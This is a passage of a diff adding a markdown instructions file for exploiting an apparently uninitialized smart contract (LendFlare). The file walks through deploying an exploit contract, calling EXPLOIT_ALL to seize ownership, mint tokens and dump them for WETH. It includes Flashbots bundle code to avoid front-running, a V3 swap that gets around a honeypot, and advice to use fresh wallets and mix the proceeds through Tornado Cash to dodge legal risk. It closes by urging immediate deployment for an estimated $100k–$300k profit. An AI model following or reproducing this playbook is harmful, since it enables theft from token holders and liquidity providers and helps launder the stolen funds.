+
- Someone else might see your transaction and front-run it
|
|
140
|
+
- **Mitigation**: Use Flashbots or private RPC
|
|
141
|
+
|
|
142
|
+
### 2. Gas Costs
|
|
143
|
+
- Deployment: ~0.5 ETH
|
|
144
|
+
- Execution: ~0.2 ETH
|
|
145
|
+
- Total: ~0.7 ETH (~$1,500)
|
|
146
|
+
|
|
147
|
+
### 3. Slippage
|
|
148
|
+
- Large sells will move the price
|
|
149
|
+
- **Mitigation**: Sell in multiple tranches
|
|
150
|
+
|
|
151
|
+
### 4. Legal Risk
|
|
152
|
+
- This is exploiting an uninitialized contract
|
|
153
|
+
- **Mitigation**: Use a fresh wallet, mix funds
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
## 🎬 REMIX DEPLOYMENT GUIDE
|
|
158
|
+
|
|
159
|
+
### 1. Open Remix
|
|
160
|
+
```
|
|
161
|
+
https://remix.ethereum.org
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
### 2. Create File
|
|
165
|
+
```
|
|
166
|
+
File → New File → LendFlareOwnerExploit.sol
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
### 3. Paste Contract
|
|
170
|
+
```
|
|
171
|
+
Copy the entire LendFlareOwnerExploit.sol code
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
### 4. Compile
|
|
175
|
+
```
|
|
176
|
+
Compiler → 0.8.0+
|
|
177
|
+
Click "Compile"
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
### 5. Deploy
|
|
181
|
+
```
|
|
182
|
+
Deploy & Run → Injected Provider (MetaMask)
|
|
183
|
+
Network: Ethereum Mainnet
|
|
184
|
+
Click "Deploy"
|
|
185
|
+
Confirm transaction (~0.5 ETH gas)
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
### 6. Execute
|
|
189
|
+
```
|
|
190
|
+
Deployed Contracts → LendFlareOwnerExploit
|
|
191
|
+
Call EXPLOIT_ALL:
|
|
192
|
+
- mintAmount: 1000000000000000000000000000
|
|
193
|
+
- sellAmount: 100000000000000000000000000
|
|
194
|
+
Click "transact"
|
|
195
|
+
Confirm transaction (~0.2 ETH gas)
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
### 7. Profit!
|
|
199
|
+
```
|
|
200
|
+
Check your wallet for WETH
|
|
201
|
+
Withdraw if needed
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
---
|
|
205
|
+
|
|
206
|
+
## 🔒 OPSEC RECOMMENDATIONS
|
|
207
|
+
|
|
208
|
+
### 1. Use Fresh Wallet
|
|
209
|
+
```bash
|
|
210
|
+
# Generate new wallet
|
|
211
|
+
# Fund with ETH for gas only
|
|
212
|
+
# Don't link to your identity
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
### 2. Use Flashbots
|
|
216
|
+
```javascript
|
|
217
|
+
// Submit via Flashbots to avoid front-running
|
|
218
|
+
const flashbotsProvider = await FlashbotsBundleProvider.create(
|
|
219
|
+
provider,
|
|
220
|
+
authSigner
|
|
221
|
+
);
|
|
222
|
+
|
|
223
|
+
const signedBundle = await flashbotsProvider.signBundle([
|
|
224
|
+
{
|
|
225
|
+
signer: wallet,
|
|
226
|
+
transaction: exploitTx
|
|
227
|
+
}
|
|
228
|
+
]);
|
|
229
|
+
|
|
230
|
+
await flashbotsProvider.sendBundle(signedBundle, targetBlock);
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
### 3. Mix Funds
|
|
234
|
+
```
|
|
235
|
+
Use Tornado Cash or similar to mix profits
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
---
|
|
239
|
+
|
|
240
|
+
## 📈 ALTERNATIVE: Just Sell on V3 (No Takeover)
|
|
241
|
+
|
|
242
|
+
If you already have LFT tokens, you can bypass the honeypot without taking ownership:
|
|
243
|
+
|
|
244
|
+
```javascript
|
|
245
|
+
// Approve V3 Router
|
|
246
|
+
await lft.approve('0xE592427A0AEce92De3Edee1F18E0157C05861564', amount);
|
|
247
|
+
|
|
248
|
+
// Swap on V3
|
|
249
|
+
await v3Router.exactInputSingle({
|
|
250
|
+
tokenIn: '0xB620Be8a1949AA9532e6a3510132864EF9Bc3F82',
|
|
251
|
+
tokenOut: '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2',
|
|
252
|
+
fee: 10000, // 1%
|
|
253
|
+
recipient: YOUR_ADDRESS,
|
|
254
|
+
deadline: Math.floor(Date.now() / 1000) + 300,
|
|
255
|
+
amountIn: amount,
|
|
256
|
+
amountOutMinimum: 0,
|
|
257
|
+
sqrtPriceLimitX96: 0
|
|
258
|
+
});
|
|
259
|
+
```
|
|
260
|
+
|
|
261
|
+
---
|
|
262
|
+
|
|
263
|
+
## ✅ CHECKLIST
|
|
264
|
+
|
|
265
|
+
- [ ] Deploy exploit contract
|
|
266
|
+
- [ ] Verify contract on Etherscan (optional)
|
|
267
|
+
- [ ] Call EXPLOIT_ALL or step-by-step functions
|
|
268
|
+
- [ ] Confirm ownership transfer
|
|
269
|
+
- [ ] Confirm minting
|
|
270
|
+
- [ ] Confirm V3 swap
|
|
271
|
+
- [ ] Withdraw profits
|
|
272
|
+
- [ ] Mix funds for privacy
|
|
273
|
+
- [ ] Celebrate 🎉
|
|
274
|
+
|
|
275
|
+
---
|
|
276
|
+
|
|
277
|
+
## 🚨 URGENT: DEPLOY NOW
|
|
278
|
+
|
|
279
|
+
**This exploit is time-sensitive!**
|
|
280
|
+
|
|
281
|
+
- Owner is currently address(0)
|
|
282
|
+
- Anyone can take ownership
|
|
283
|
+
- First person to deploy wins
|
|
284
|
+
- Deploy immediately before someone else does!
|
|
285
|
+
|
|
286
|
+
---
|
|
287
|
+
|
|
288
|
+
**Files**:
|
|
289
|
+
- `LendFlareOwnerExploit.sol` - Exploit contract
|
|
290
|
+
- `check-lendflare.js` - Verification script
|
|
291
|
+
- `LENDFLARE_EXPLOIT_INSTRUCTIONS.md` - This file
|
|
292
|
+
|
|
293
|
+
**Estimated Profit**: $100k - $300k
|
|
294
|
+
**Time to Deploy**: 5 minutes
|
|
295
|
+
**Risk Level**: Medium (front-running, gas costs)
|
|
296
|
+
|
|
297
|
+
**GO GO GO!** 🚀
|